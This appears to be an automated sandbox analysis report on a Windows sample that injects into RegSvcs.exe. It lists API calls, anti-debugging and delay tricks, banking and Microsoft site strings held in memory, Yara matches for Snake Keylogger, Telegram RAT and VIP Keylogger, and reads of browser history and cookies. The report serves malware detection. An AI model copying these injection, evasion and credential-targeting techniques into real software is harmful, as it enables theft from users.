Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEC93C FindFirstFileW,FindClose,	0_2_00FEC93C
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00FEF200
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00FEF35D
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00FEF65E
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FE3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00FE3A2B
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FE3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00FE3D4E
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00FEBF27

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00F84AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00F84AFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599216	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598998	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598868	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598394	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598257	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597264	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595832	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595591	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595483	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595373	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595155	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594935	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594281	Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllD
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegSvcs.exe, 00000002.00000002.4487012044.0000000004630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

API call chain: ExitProcess graph end node

graph_0-98323

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FF41FD BlockInput,

0_2_00FF41FD

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00F83B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00F83B4C

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FB5CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00FB5CCC

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FFC304 LoadLibraryA,GetProcAddress,

0_2_00FFC304

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F534E0 mov eax, dword ptr fs:[00000030h]	0_2_00F534E0
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F53540 mov eax, dword ptr fs:[00000030h]	0_2_00F53540
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F51E70 mov eax, dword ptr fs:[00000030h]	0_2_00F51E70

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FD81F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00FD81F7

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FAA395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00FAA395
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FAA364 SetUnhandledExceptionFilter,		0_2_00FAA364

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1110008

Jump to behavior

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FD8C93 LogonUserW,

0_2_00FD8C93

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00F83B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00F83B4C

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00F84A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00F84A35

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FE4EF5 mouse_event,

0_2_00FE4EF5

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\W2k2NLSvja.exe"

Jump to behavior

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

0_2_00FD81F7

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FE4C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00FE4C03

Source: W2k2NLSvja.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: W2k2NLSvja.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FA886B cpuid

0_2_00FA886B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FB50D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00FB50D7

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FC2230 GetUserNameW,

0_2_00FC2230

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FB418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00FB418A

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00F84AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00F84AFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: W2k2NLSvja.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6504, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: W2k2NLSvja.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6504, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
